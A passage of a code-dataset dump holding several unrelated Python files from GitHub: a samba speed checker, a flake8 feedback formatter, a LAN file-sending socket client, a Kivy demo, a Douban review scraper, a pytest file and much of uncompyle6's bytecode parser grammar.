samba_speed_all)\n\n if len(samba_speed_all) == 0:\n print('-----------------测速结果为空,从数据库中选择默认samba')\n return False\n else:\n print('出口占用最小:', min(samba_speed_all.values()))\n min_speed = min(samba_speed_all.values())\n for samba_ip in samba_speed_all.keys():\n if samba_speed_all[samba_ip] == min_speed:\n return samba_ip\n\n\nif __name__ == '__main__':\n get_use_samba()\n","repo_name":"istarmeow/NetworkBootManagementSystem","sub_path":"networkbootsystem/ext_netspeedout.py","file_name":"ext_netspeedout.py","file_ext":"py","file_size_in_byte":3842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1904453727","text":"from sys import exit, stderr\nfrom parser import Parser\nfrom error import Error\nimport json\n\n\ndef main(filename):\n try:\n # read flake8 output file\n f = open(filename)\n fileparser = Parser(f)\n errors = []\n\n # read qf.json\n json_file = open('qf.json')\n qf = json.load(json_file)\n json_file.close()\n\n qf['feedback'] = []\n\n # for path, code, line, char, description in fileparser.parse():\n # error = Error(path,code,line,char)\n # qf['feedback'].append(error.toString()) #toString or toMarkdown\n\n for path, code, line, char, description in fileparser.parse():\n errors.append(Error(path, code, line, char))\n\n\n\n if 'mainSettings' in qf and 'errorsCategorized' in qf['mainSettings'] and qf['mainSettings']['errorsCategorized'] == 'false':\n\n for error in errors:\n qf['feedback'].append(error.toMarkdown())\n\n else:\n\n syntaxerrors = list(filter(lambda err: err.type == \"SYNTAX\", errors))\n\n if len(syntaxerrors) != 0:\n qf['feedback'].append(\"## Syntax errors\")\n\n for error in syntaxerrors:\n qf['feedback'].append(error.toMarkdown())\n\n if 'mainSettings' in qf and 'semanticNeeded' in qf['mainSettings'] and qf['mainSettings'][\n 'semanticNeeded'] == 'true':\n\n semanticerrors = list(filter(lambda err: err.type == \"SEMANTIC\", errors))\n\n if len(semanticerrors) != 0:\n qf['feedback'].append(\"## Semantic errors\")\n\n for error in semanticerrors:\n qf['feedback'].append(error.toMarkdown())\n\n if 'mainSettings' in qf and 'styleNeeded' in qf['mainSettings'] and qf['mainSettings'][\n 'styleNeeded'] == 'true':\n\n styleerrors = list(filter(lambda err: err.type == \"STYLE\", errors))\n\n if len(styleerrors) != 0:\n qf['feedback'].append(\"## Style errors\")\n\n for error in styleerrors:\n qf['feedback'].append(error.toMarkdown())\n\n # Write qf.json\n json_file = open('qf.json', 'w')\n json.dump(qf, json_file)\n json_file.close()\n\n except IOError as e:\n stderr.write('Could not open file: %s' % e)\n stderr.flush()\n exit(1)\n\n\nif __name__ == '__main__':\n main(\"./output.txt\")\n","repo_name":"qped-eu/PythonChecker","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"9395463348","text":"import socket\r\nimport os\r\nimport pickle\r\n\r\n# Initialize s to socket\r\ns = socket.socket()\r\n\r\n# Initialize the host\r\nhost = \"192.168.151.158\"\r\n\r\n# Initialize the port\r\nport = 8080\r\n\r\n# connect to the server\r\ns.connect((host, port))\r\n\r\nprint(\"Connected to server\")\r\n\r\n# take command as input\r\ncommand = input(str(\"Enter Command :\"))\r\ns.send(command.encode())\r\n\r\n# send file to server\r\nif command == \"send\":\r\n filename = input(\"Enter filename with extension: \")\r\n size = os.path.getsize('./'+filename)\r\n\r\n with open(filename, \"rb\") as f:\r\n file_data = f.read()\r\n\r\n obje = {\r\n \"filename\": filename,\r\n \"size\": size,\r\n \"code\": file_data\r\n }\r\n\r\n obje = pickle.dumps(obje)\r\n s.send(obje)\r\n# receive the confirmation\r\ndata = s.recv(1024)\r\n\r\nif data:\r\n print(data.decode())","repo_name":"Sakthe-Balan/Computer_Network-prokects-","sub_path":"resource_share_client.py","file_name":"resource_share_client.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5965976971","text":"\nfrom kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.image import Image\nfrom kivy.uix.camera import Camera\n\n\n\nclass MyApp(App):\n def build(self):\n root_widget = BoxLayout(\n orientation = 'vertical',\n # padding = 40,\n # spacing = 10,\n # size_hint=(1,1),\n # pos_hint={'center_x':0.5}\n )\n anothaOne = BoxLayout()\n anothaTwo = BoxLayout()\n texture_size=(None,None)\n btn1 = Button(text=\"Sample\")\n # btn2 = Button(text=\"Sample\")\n # btn3 = Button(text=\"Sample\")\n # btn4 = Button(text=\"Sample\")\n btn5 = Button(text=\"Sample\")\n # btn6 = Button(text=\"Sample\")\n # btn7 = Button(text=\"Sample\")\n # btn8 = Button(text=\"Sample\")\n # cam = Camera(index=0)\n # cam2 = Camera(index=1)\n anothaOne.add_widget(btn1)\n # anothaOne.add_widget(btn2)\n # anothaOne.add_widget(btn3)\n # anothaOne.add_widget(btn4)\n # anothaOne.add_widget(cam)\n anothaTwo.add_widget(btn5)\n # anothaTwo.add_widget(btn6)\n # anothaTwo.add_widget(btn7)\n # anothaTwo.add_widget(btn8)\n # anothaTwo.add_widget(cam2)\n image = Image()\n root_widget.add_widget(anothaOne)\n root_widget.add_widget(anothaTwo)\n # Label(text=\n # \"[b][color=3D88EE]Mapua University[/color][/b]\\n[color=3D88EE]Computer Engineering[/color]\",\n # font_size='20sp',\n # halign=\"right\",\n # valign=\"top\",\n # markup=True)\n return root_widget\n\nif __name__ == '__main__':\n MyApp().run()\n ","repo_name":"ChristopherCaysido/CPE169P-Requirements","sub_path":"Mod1_PE02/lecture03.py","file_name":"lecture03.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70694415147","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Tag\nimport jieba\n\n# 《飞屋环游记》豆瓣影评\nurl = \"https://movie.douban.com/subject/2129039/comments?sort=new_score&status=P\"\n\n# 用户代理(伪装爬虫为浏览器,防止爬虫被拦截)\nua = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 \" \\\n \"Safari/537.36 Edg/91.0.864.59 \"\n\n# 请求网页资源\nresp = requests.get(url=url, headers={\"User-Agent\": ua})\n\n# 解析\nsoup = BeautifulSoup(markup=resp.text, features=\"lxml\")\n\n# 应该爬short标签\ncontent_all = soup.find_all(name=\"span\", class_=\"short\") # type: list[Tag]\n\n# 去标签\ncomments = [comment.text for comment in content_all]\n\n# 分词\nwordList = []\nfor comment in comments:\n wordList.extend(jieba.lcut(comment))\n\n# 去重\nwordList = list(set(wordList))\nprint(len(wordList))\n","repo_name":"cutelittletiantian/python-web-crawler","sub_path":"01-基础知识/demo01-7去重复操作.py","file_name":"demo01-7去重复操作.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24895923981","text":"import pytest\nfrom src.ej2_09 import AskAge, Clasify\n\ndef test_AskAge(monkeypatch):\n monkeypatch.setattr('builtins.input', lambda _: 12)\n result = AskAge()\n assert result == 12\n\n@pytest.mark.parametrize(\n 'input, expected',\n [\n (3,'gratis'),\n (8,'5'),\n (20,'10')\n ]\n)\ndef test_Clasify_params(input,expected):\n assert Clasify(input) == expected","repo_name":"IES-Rafael-Alberti/1dawb-ejercicios-u2-Llavesuke","sub_path":"tests/test_ej2_09.py","file_name":"test_ej2_09.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11114155456","text":"import sys\n\nfrom spark_parser import GenericASTBuilder, DEFAULT_DEBUG as PARSER_DEFAULT_DEBUG\nfrom uncompyle6.show import maybe_show_asm\nfrom xdis import iscode\n\n\nclass ParserError(Exception):\n def __init__(self, token, offset, debug=PARSER_DEFAULT_DEBUG):\n self.token = token\n self.offset = offset\n self.debug = debug\n\n def __str__(self):\n return \"Parse error at or near `%r' instruction at offset %s\\n\" % (\n self.token,\n self.offset,\n )\n\n\ndef nop_func(self, args):\n return None\n\n\nclass PythonParser(GenericASTBuilder):\n def __init__(self, syntax_tree_class, start, debug):\n super(PythonParser, self).__init__(syntax_tree_class, start, debug)\n # FIXME: customize per python parser version\n\n # These are the non-terminals we should collect into a list.\n # For example instead of:\n # stmts -> stmts stmt -> stmts stmt stmt ...\n # collect as stmts -> stmt stmt ...\n nt_list = [\n \"_come_froms\",\n \"_stmts\",\n \"attributes\",\n \"add_consts\",\n \"come_froms\",\n \"except_stmts\",\n \"exprlist\",\n \"importlist\",\n \"key_value_pairs\",\n \"kvlist\",\n \"kwargs\",\n \"l_stmts\",\n \"stmts\",\n # Python < 3\n \"print_items\",\n # PyPy:\n \"imports_cont\",\n \"kvlist_n\",\n # Python 3.6+\n \"come_from_loops\",\n # Python 3.7+\n \"importlist37\",\n # Python < 1.4\n \"args_store\",\n ]\n self.collect = frozenset(nt_list)\n\n # For these items we need to keep the 1st epslion reduction since\n # the nonterminal name is used in a semantic action.\n self.keep_epsilon = frozenset((\"kvlist_n\", \"kvlist\"))\n\n # ??? Do we need a debug option to skip eliding singleton reductions?\n # Time will tell if it if useful in debugging\n\n # FIXME: optional_nt is a misnomer. It's really about there being a\n # singleton reduction that we can simplify. It also happens to be optional\n # in its other derivation\n self.optional_nt |= frozenset(\n (\"come_froms\", \"suite_stmts\", \"l_stmts_opt\", \"c_stmts_opt\", \"stmts_opt\", \"stmt\")\n )\n\n # Reduce singleton reductions in these nonterminals:\n # FIXME: would love to do expr, sstmts, stmts and\n # so on but that would require major changes to the\n # semantic actions\n self.singleton = frozenset(\n (\"str\", \"store\", \"_stmts\", \"suite_stmts_opt\", \"inplace_op\", \"add_value\")\n )\n # Instructions filled in from scanner\n self.insts = []\n self.version = tuple()\n\n def ast_first_offset(self, ast):\n if hasattr(ast, \"offset\"):\n return ast.offset\n else:\n return self.ast_first_offset(ast[0])\n\n def add_unique_rule(self, rule, opname, arg_count, customize):\n \"\"\"Add rule to grammar, but only if it hasn't been added previously\n opname and stack_count are used in the customize() semantic\n the actions to add the semantic action rule. Stack_count is\n used in custom opcodes like MAKE_FUNCTION to indicate how\n many arguments it has. Often it is not used.\n \"\"\"\n if rule not in self.new_rules:\n # print(\"XXX \", rule) # debug\n self.new_rules.add(rule)\n self.addRule(rule, nop_func)\n customize[opname] = arg_count\n pass\n return\n\n def add_unique_rules(self, rules, customize):\n \"\"\"Add rules (a list of string) to grammar. Note that\n the rules must not be those that set arg_count in the\n custom dictionary.\n \"\"\"\n for rule in rules:\n if len(rule) == 0:\n continue\n opname = rule.split(\"::=\")[0].strip()\n self.add_unique_rule(rule, opname, 0, customize)\n return\n\n def add_unique_doc_rules(self, rules_str, customize):\n \"\"\"Add rules (a docstring-like list of rules) to grammar.\n Note that the rules must not be those that set arg_count in the\n custom dictionary.\n \"\"\"\n rules = [r.strip() for r in rules_str.split(\"\\n\")]\n self.add_unique_rules(rules, customize)\n return\n\n def cleanup(self):\n \"\"\"\n Remove recursive references to allow garbage\n collector to collect this object.\n \"\"\"\n for rule_dict in (self.rule2func, self.rules, self.rule2name):\n for i in list(rule_dict.keys()):\n rule_dict[i] = None\n for i in dir(self):\n setattr(self, i, None)\n\n def debug_reduce(self, rule, tokens, parent, last_token_pos):\n \"\"\"Customized format and print for our kind of tokens\n which gets called in debugging grammar reduce rules\n \"\"\"\n\n def fix(c):\n s = str(c)\n token_pos = s.find(\"_\")\n if token_pos == -1:\n return s\n else:\n return s[:token_pos]\n\n prefix = \"\"\n if parent and tokens:\n p_token = tokens[parent]\n if hasattr(p_token, \"linestart\") and p_token.linestart:\n prefix = \"L.%3d: \" % p_token.linestart\n else:\n prefix = \" \"\n if hasattr(p_token, \"offset\"):\n prefix += \"%3s\" % fix(p_token.offset)\n if len(rule[1]) > 1:\n prefix += \"-%-3s \" % fix(tokens[last_token_pos - 1].offset)\n else:\n prefix += \" \"\n else:\n prefix = \" \"\n\n print(\"%s%s ::= %s (%d)\" % (prefix, rule[0], \" \".join(rule[1]), last_token_pos))\n\n def error(self, instructions, index):\n # Find the last line boundary\n start, finish = -1, -1\n for start in range(index, -1, -1):\n if instructions[start].linestart:\n break\n pass\n for finish in range(index + 1, len(instructions)):\n if instructions[finish].linestart:\n break\n pass\n if start >= 0:\n err_token = instructions[index]\n print(\"Instruction context:\")\n for i in range(start, finish):\n if i != index:\n indent = \" \"\n else:\n indent = \"-> \"\n print(\"%s%s\" % (indent, instructions[i]))\n raise ParserError(err_token, err_token.offset, self.debug[\"reduce\"])\n else:\n raise ParserError(None, -1, self.debug[\"reduce\"])\n\n def get_pos_kw(self, token):\n \"\"\"\n Return then the number of positional parameters and keyword\n parfameters represented by the attr (operand) field of\n token.\n\n This appears in CALL_FUNCTION or CALL_METHOD (PyPy) tokens\n \"\"\"\n # Low byte indicates number of positional paramters,\n # high byte number of keyword parameters\n assert token.kind.startswith(\"CALL_FUNCTION\") or token.kind.startswith(\"CALL_METHOD\")\n args_pos = token.attr & 0xFF\n args_kw = (token.attr >> 8) & 0xFF\n return args_pos, args_kw\n\n def nonterminal(self, nt, args):\n n = len(args)\n\n # # Use this to find lots of singleton rule\n # if n == 1 and nt not in self.singleton:\n # print(\"XXX\", nt)\n\n if nt in self.collect and n > 1:\n #\n # Collect iterated thingies together. That is rather than\n # stmts -> stmts stmt -> stmts stmt -> ...\n # stmms -> stmt stmt ...\n #\n if not hasattr(args[0], \"append\"):\n # Was in self.optional_nt as a single item, but we find we have\n # more than one now...\n rv = GenericASTBuilder.nonterminal(self, nt, [args[0]])\n else:\n rv = args[0]\n pass\n # In a list-like entity where the first item goes to epsilon,\n # drop that and save the 2nd item as the first one\n if len(rv) == 0 and nt not in self.keep_epsilon:\n rv = args[1]\n else:\n rv.append(args[1])\n elif n == 1 and args[0] in self.singleton:\n rv = GenericASTBuilder.nonterminal(self, nt, args[0])\n del args[0] # save memory\n elif n == 1 and nt in self.optional_nt:\n rv = args[0]\n else:\n rv = GenericASTBuilder.nonterminal(self, nt, args)\n return rv\n\n def __ambiguity(self, children):\n # only for debugging! to be removed hG/2000-10-15\n print(children)\n return GenericASTBuilder.ambiguity(self, children)\n\n def resolve(self, rule: list):\n if len(rule) == 2 and \"function_def\" in rule and \"assign\" in rule:\n return \"function_def\"\n if \"grammar\" in rule and \"expr\" in rule:\n return \"expr\"\n # print >> sys.stderr, 'resolve', str(rule)\n return GenericASTBuilder.resolve(self, rule)\n\n ###############################################\n # Common Python 2 and Python 3 grammar rules #\n ###############################################\n def p_start(self, args):\n \"\"\"\n # The start or goal symbol\n stmts ::= sstmt+\n \"\"\"\n\n def p_call_stmt(self, args):\n \"\"\"\n # eval-mode compilation. Single-mode interactive compilation\n # adds another rule.\n call_stmt ::= expr POP_TOP\n \"\"\"\n\n def p_stmt(self, args):\n \"\"\"\n pass ::=\n\n _stmts ::= stmt+\n\n # statements with continue\n c_stmts ::= _stmts\n c_stmts ::= _stmts lastc_stmt\n c_stmts ::= lastc_stmt\n c_stmts ::= continues\n\n ending_return ::= RETURN_VALUE RETURN_LAST\n ending_return ::= RETURN_VALUE_LAMBDA LAMBDA_MARKER\n\n lastc_stmt ::= iflaststmt\n lastc_stmt ::= forelselaststmt\n lastc_stmt ::= ifelsestmtc\n\n c_stmts_opt ::= c_stmts\n c_stmts_opt ::= pass\n\n stmts_opt ::= _stmts\n stmts_opt ::= pass\n\n # statements inside a loop\n l_stmts ::= _stmts\n l_stmts ::= returns\n l_stmts ::= continues\n l_stmts ::= _stmts lastl_stmt\n l_stmts ::= lastl_stmt\n\n lastl_stmt ::= iflaststmtl\n lastl_stmt ::= ifelsestmtl\n lastl_stmt ::= forelselaststmtl\n lastl_stmt ::= tryelsestmtl\n\n l_stmts_opt ::= l_stmts\n l_stmts_opt ::= pass\n\n suite_stmts ::= _stmts\n suite_stmts ::= returns\n suite_stmts ::= continues\n\n suite_stmts_opt ::= suite_stmts\n\n # passtmt is needed for semantic actions to add \"pass\"\n suite_stmts_opt ::= pass\n\n else_suite ::= suite_stmts\n else_suitel ::= l_stmts\n else_suitec ::= c_stmts\n else_suitec ::= returns\n\n stmt ::= assert\n\n stmt ::= classdef\n stmt ::= call_stmt\n\n stmt ::= ifstmt\n stmt ::= ifelsestmt\n\n stmt ::= whilestmt\n stmt ::= while1stmt\n stmt ::= whileelsestmt\n stmt ::= while1elsestmt\n stmt ::= for\n stmt ::= forelsestmt\n stmt ::= try_except\n stmt ::= tryelsestmt\n stmt ::= tryfinallystmt\n stmt ::= with\n stmt ::= withasstmt\n\n stmt ::= delete\n delete ::= DELETE_FAST\n delete ::= DELETE_NAME\n delete ::= DELETE_GLOBAL\n\n\n stmt ::= return\n return ::= return_expr RETURN_VALUE\n\n # \"returns\" nonterminal is a sequence of statements that ends in a RETURN statement.\n # In later Python versions with jump optimization, this can cause JUMPs\n # that would normally appear to be omitted.\n\n returns ::= return\n returns ::= _stmts return\n\n \"\"\"\n pass\n\n def p_function_def(self, args):\n \"\"\"\n stmt ::= function_def\n function_def ::= mkfunc store\n stmt ::= function_def_deco\n function_def_deco ::= mkfuncdeco store\n mkfuncdeco ::= expr mkfuncdeco CALL_FUNCTION_1\n mkfuncdeco ::= expr mkfuncdeco0 CALL_FUNCTION_1\n mkfuncdeco0 ::= mkfunc\n load_closure ::= load_closure LOAD_CLOSURE\n load_closure ::= LOAD_CLOSURE\n \"\"\"\n\n def p_generator_exp(self, args):\n \"\"\"\n expr ::= generator_exp\n stmt ::= genexpr_func\n\n genexpr_func ::= LOAD_FAST FOR_ITER store comp_iter JUMP_BACK\n \"\"\"\n\n def p_jump(self, args):\n \"\"\"\n _jump ::= JUMP_ABSOLUTE\n _jump ::= JUMP_FORWARD\n _jump ::= JUMP_BACK\n\n # Zero or more COME_FROMs - loops can have this\n _come_froms ::= COME_FROM*\n\n # One or more COME_FROMs - joins of tryelse's have this\n come_froms ::= COME_FROM+\n\n # Zero or one COME_FROM\n # And/or expressions have this\n come_from_opt ::= COME_FROM?\n \"\"\"\n\n def p_augmented_assign(self, args):\n \"\"\"\n stmt ::= aug_assign1\n stmt ::= aug_assign2\n\n # This is odd in that other aug_assign1's have only 3 slots\n # The store isn't used as that's supposed to be also\n # indicated in the first expr\n aug_assign1 ::= expr expr\n inplace_op store\n aug_assign1 ::= expr expr\n inplace_op ROT_THREE STORE_SUBSCR\n aug_assign2 ::= expr DUP_TOP LOAD_ATTR expr\n inplace_op ROT_TWO STORE_ATTR\n\n inplace_op ::= INPLACE_ADD\n inplace_op ::= INPLACE_SUBTRACT\n inplace_op ::= INPLACE_MULTIPLY\n inplace_op ::= INPLACE_TRUE_DIVIDE\n inplace_op ::= INPLACE_FLOOR_DIVIDE\n inplace_op ::= INPLACE_MODULO\n inplace_op ::= INPLACE_POWER\n inplace_op ::= INPLACE_LSHIFT\n inplace_op ::= INPLACE_RSHIFT\n inplace_op ::= INPLACE_AND\n inplace_op ::= INPLACE_XOR\n inplace_op ::= INPLACE_OR\n \"\"\"\n\n def p_assign(self, args):\n \"\"\"\n stmt ::= assign\n assign ::= expr DUP_TOP designList\n assign ::= expr store\n\n stmt ::= assign2\n stmt ::= assign3\n assign2 ::= expr expr ROT_TWO store store\n assign3 ::= expr expr expr ROT_THREE ROT_TWO store store store\n \"\"\"\n\n def p_forstmt(self, args):\n \"\"\"\n for_iter ::= GET_ITER FOR_ITER\n\n for_block ::= l_stmts_opt _come_froms JUMP_BACK\n\n forelsestmt ::= SETUP_LOOP expr for_iter store\n for_block POP_BLOCK else_suite _come_froms\n\n forelselaststmt ::= SETUP_LOOP expr for_iter store\n for_block POP_BLOCK else_suitec _come_froms\n\n forelselaststmtl ::= SETUP_LOOP expr for_iter store\n for_block POP_BLOCK else_suitel _come_froms\n \"\"\"\n\n def p_import20(self, args):\n \"\"\"\n stmt ::= import\n stmt ::= import_from\n stmt ::= import_from_star\n stmt ::= importmultiple\n\n importlist ::= importlist alias\n importlist ::= alias\n alias ::= IMPORT_NAME store\n alias ::= IMPORT_FROM store\n alias ::= IMPORT_NAME attributes store\n\n import ::= LOAD_CONST LOAD_CONST alias\n import_from_star ::= LOAD_CONST LOAD_CONST IMPORT_NAME IMPORT_STAR\n import_from ::= LOAD_CONST LOAD_CONST IMPORT_NAME importlist POP_TOP\n importmultiple ::= LOAD_CONST LOAD_CONST alias imports_cont\n\n imports_cont ::= import_cont+\n import_cont ::= LOAD_CONST LOAD_CONST alias\n\n attributes ::= LOAD_ATTR+\n \"\"\"\n\n def p_list_comprehension(self, args):\n \"\"\"\n expr ::= list_comp\n\n list_iter ::= list_for\n list_iter ::= list_if\n list_iter ::= list_if_not\n list_iter ::= lc_body\n\n list_if ::= expr jmp_false list_iter\n list_if_not ::= expr jmp_true list_iter\n \"\"\"\n\n def p_set_comp(self, args):\n \"\"\"\n comp_iter ::= comp_for\n comp_iter ::= comp_body\n comp_body ::= gen_comp_body\n gen_comp_body ::= expr YIELD_VALUE POP_TOP\n\n comp_iter ::= comp_if\n comp_if ::= expr jmp_false comp_iter\n \"\"\"\n\n def p_expr(self, args):\n \"\"\"\n expr ::= LOAD_CODE\n expr ::= LOAD_CONST\n expr ::= LOAD_DEREF\n expr ::= LOAD_FAST\n expr ::= LOAD_GLOBAL\n expr ::= LOAD_NAME\n expr ::= _lambda_body\n expr ::= and\n expr ::= bin_op\n expr ::= call\n expr ::= compare\n expr ::= dict\n expr ::= list\n expr ::= or\n expr ::= subscript\n expr ::= subscript2\n expr ::= unary_op\n expr ::= unary_not\n expr ::= yield\n\n # bin_op (formerly \"binary_expr\") is the Python AST BinOp\n bin_op ::= expr expr binary_operator\n binary_operator ::= BINARY_ADD\n binary_operator ::= BINARY_MULTIPLY\n binary_operator ::= BINARY_AND\n binary_operator ::= BINARY_OR\n binary_operator ::= BINARY_XOR\n binary_operator ::= BINARY_SUBTRACT\n binary_operator ::= BINARY_TRUE_DIVIDE\n binary_operator ::= BINARY_FLOOR_DIVIDE\n binary_operator ::= BINARY_MODULO\n binary_operator ::= BINARY_LSHIFT\n binary_operator ::= BINARY_RSHIFT\n binary_operator ::= BINARY_POWER\n\n # unary_op (formerly \"unary_expr\") is the Python AST BinOp\n unary_op ::= expr unary_operator\n unary_operator ::= UNARY_POSITIVE\n unary_operator ::= UNARY_NEGATIVE\n unary_operator ::= UNARY_INVERT\n\n unary_not ::= expr UNARY_NOT\n\n subscript ::= expr expr BINARY_SUBSCR\n\n attribute ::= expr LOAD_ATTR\n get_iter ::= expr GET_ITER\n\n yield ::= expr YIELD_VALUE\n\n _lambda_body ::= lambda_body\n\n expr ::= if_exp\n\n return_expr ::= expr\n return_expr ::= ret_and\n return_expr ::= ret_or\n\n return_expr_or_cond ::= return_expr\n return_expr_or_cond ::= if_exp_ret\n\n stmt ::= return_expr_lambda\n\n return_expr_lambda ::= return_expr RETURN_VALUE_LAMBDA LAMBDA_MARKER\n return_expr_lambda ::= return_expr RETURN_VALUE_LAMBDA\n\n compare ::= compare_chained\n compare ::= compare_single\n compare_single ::= expr expr COMPARE_OP\n\n # A compare_chained is two comparisions, as in: x <= y <= z\n compare_chained ::= expr compared_chained_middle ROT_TWO POP_TOP\n _come_froms\n compare_chained_right ::= expr COMPARE_OP JUMP_FORWARD\n\n # Non-null kvlist items are broken out in the indiviual grammars\n kvlist ::=\n\n # Positional arguments in make_function\n pos_arg ::= expr\n \"\"\"\n\n def p_store(self, args):\n \"\"\"\n # Note. The below is right-recursive:\n designList ::= store store\n designList ::= store DUP_TOP designList\n\n ## Can we replace with left-recursive, and redo with:\n ##\n ## designList ::= designLists store store\n ## designLists ::= designLists store DUP_TOP\n ## designLists ::=\n ## Will need to redo semantic actiion\n\n store ::= STORE_FAST\n store ::= STORE_NAME\n store ::= STORE_GLOBAL\n store ::= STORE_DEREF\n store ::= expr STORE_ATTR\n store ::= store_subscript\n store_subscript ::= expr expr STORE_SUBSCR\n store ::= unpack\n \"\"\"\n\n\ndef parse(p, tokens, customize, code):\n p.customize_grammar_rules(tokens, customize)\n ast = p.parse(tokens)\n # p.cleanup()\n return ast\n\n\ndef get_python_parser(\n version, debug_parser=PARSER_DEFAULT_DEBUG, compile_mode=\"exec\", is_pypy=False\n):\n \"\"\"Returns parser object for Python version 2 or 3, 3.2, 3.5on,\n etc., depending on the parameters passed. *compile_mode* is either\n 'exec', 'eval', or 'single'. See\n https://docs.python.org/3.6/library/functions.html#compile for an\n explanation of the different modes.\n \"\"\"\n\n # If version is a string, turn that into the corresponding float.\n if isinstance(version, str):\n version = tuple([int(v) for v in version.split(\".\")[:2]])\n\n version = version[:2]\n\n # FIXME: there has to be a better way...\n # We could do this as a table lookup, but that would force us\n # in import all of the parsers all of the time. Perhaps there is\n # a lazy way of doing the import?\n\n if version < (3, 0):\n if version < (2, 2):\n if version == (1, 0):\n import uncompyle6.parsers.parse10 as parse10\n\n if compile_mode == \"exec\":\n p = parse10.Python10Parser(debug_parser)\n else:\n p = parse10.Python10ParserSingle(debug_parser)\n elif version == (1, 1):\n import uncompyle6.parsers.parse11 as parse11\n\n if compile_mode == \"exec\":\n p = parse11.Python11Parser(debug_parser)\n else:\n p = parse11.Python11ParserSingle(debug_parser)\n if version == (1, 2):\n import uncompyle6.parsers.parse12 as parse12\n\n if compile_mode == \"exec\":\n p = parse12.Python12Parser(debug_parser)\n else:\n p = parse12.Python12ParserSingle(debug_parser)\n if version == (1, 3):\n import uncompyle6.parsers.parse13 as parse13\n\n if compile_mode == \"exec\":\n p = parse13.Python13Parser(debug_parser)\n else:\n p = parse13.Python13ParserSingle(debug_parser)\n elif version == (1, 4):\n import uncompyle6.parsers.parse14 as parse14\n\n if compile_mode == \"exec\":\n p = parse14.Python14Parser(debug_parser)\n else:\n p = parse14.Python14ParserSingle(debug_parser)\n elif version == (1, 5):\n import uncompyle6.parsers.parse15 as parse15\n\n if compile_mode == \"exec\":\n p = parse15.Python15Parser(debug_parser)\n else:\n p = parse15.Python15ParserSingle(debug_parser)\n elif version == (1, 6):\n import uncompyle6.parsers.parse16 as parse16\n\n if compile_mode == \"exec\":\n p = parse16.Python16Parser(debug_parser)\n else:\n p = parse16.Python16ParserSingle(debug_parser)\n elif version == (2, 1):\n import uncompyle6.parsers.parse21 as parse21\n\n if compile_mode == \"exec\":\n p = parse21.Python21Parser(debug_parser)\n else:\n p = parse21.Python21ParserSingle(debug_parser)\n elif version == (2, 2):\n import uncompyle6.parsers.parse22 as parse22\n\n if compile_mode == \"exec\":\n p = parse22.Python22Parser(debug_parser)\n else:\n p = parse22.Python22ParserSingle(debug_parser)\n elif version == (2, 3):\n import uncompyle6.parsers.parse23 as parse23\n\n if compile_mode == \"exec\":\n p = parse23.Python23Parser(debug_parser)\n else:\n p = parse23.Python23ParserSingle(debug_parser)\n elif version == (2, 4):\n import uncompyle6.parsers.parse24 as parse24\n\n if compile_mode == \"exec\":\n p = parse24.Python24Parser(debug_parser)\n else:\n p = parse24.Python24ParserSingle(debug_parser)\n elif version == (2, 5):\n import uncompyle6.parsers.parse25 as parse25\n\n if compile_mode == \"exec\":\n p = parse25.Python25Parser(debug_parser)\n else:\n p = parse25.Python25ParserSingle(debug_parser)\n elif version == (2, 6):\n import uncompyle6.parsers.parse26 as parse26\n\n if compile_mode == \"exec\":\n p = parse26.Python26Parser(debug_parser)\n else:\n p = parse26.Python26ParserSingle(debug_parser)\n elif version == (2, 7):\n import uncompyle6.parsers.parse27 as parse27\n\n if compile_mode == \"exec\":\n p = parse27.Python27Parser(debug_parser)\n else:\n p = parse27.Python27ParserSingle(debug_parser)\n else:\n import uncompyle6.parsers.parse2 as parse2\n\n if compile_mode == \"exec\":\n p = parse2.Python2Parser(debug_parser)\n else:\n p = parse2.Python2ParserSingle(debug_parser)\n pass\n pass\n pass\n else:\n import uncompyle6.parsers.parse3 as parse3\n\n if version == (3, 0):\n import uncompyle6.parsers.parse30 as parse30\n\n if compile_mode == \"exec\":\n p = parse30.Python30Parser(debug_parser)\n else:\n p = parse30.Python30ParserSingle(debug_parser)\n elif version == (3, 1):\n import uncompyle6.parsers.parse31 as parse31\n\n if compile_mode == \"exec\":\n p = parse31.Python31Parser(debug_parser)\n else:\n p = parse31.Python31ParserSingle(debug_parser)\n elif version == (3, 2):\n import uncompyle6.parsers.parse32 as parse32\n\n if compile_mode == \"exec\":\n p = parse32.Python32Parser(debug_parser)\n else:\n p = parse32.Python32ParserSingle(debug_parser)\n elif version == (3, 3):\n import uncompyle6.parsers.parse33 as parse33\n\n if compile_mode == \"exec\":\n p = parse33.Python33Parser(debug_parser)\n else:\n p = parse33.Python33ParserSingle(debug_parser)\n elif version == (3, 4):\n import uncompyle6.parsers.parse34 as parse34\n\n if compile_mode == \"exec\":\n p = parse34.Python34Parser(debug_parser)\n else:\n p = parse34.Python34ParserSingle(debug_parser)\n elif version == (3, 5):\n import uncompyle6.parsers.parse35 as parse35\n\n if compile_mode == \"exec\":\n p = parse35.Python35Parser(debug_parser)\n else:\n p = parse35.Python35ParserSingle(debug_parser)\n elif version == (3, 6):\n import uncompyle6.parsers.parse36 as parse36\n\n if compile_mode == \"exec\":\n p = parse36.Python36Parser(debug_parser)\n else:\n p = parse36.Python36ParserSingle(debug_parser)\n elif version == (3, 7):\n import uncompyle6.parsers.parse37 as parse37\n\n if compile_mode == \"exec\":\n p = parse37.Python37Parser(debug_parser)\n else:\n p = parse37.Python37ParserSingle(debug_parser)\n elif version == (3, 8):\n import uncompyle6.parsers.parse38 as parse38\n\n if compile_mode == \"exec\":\n p = 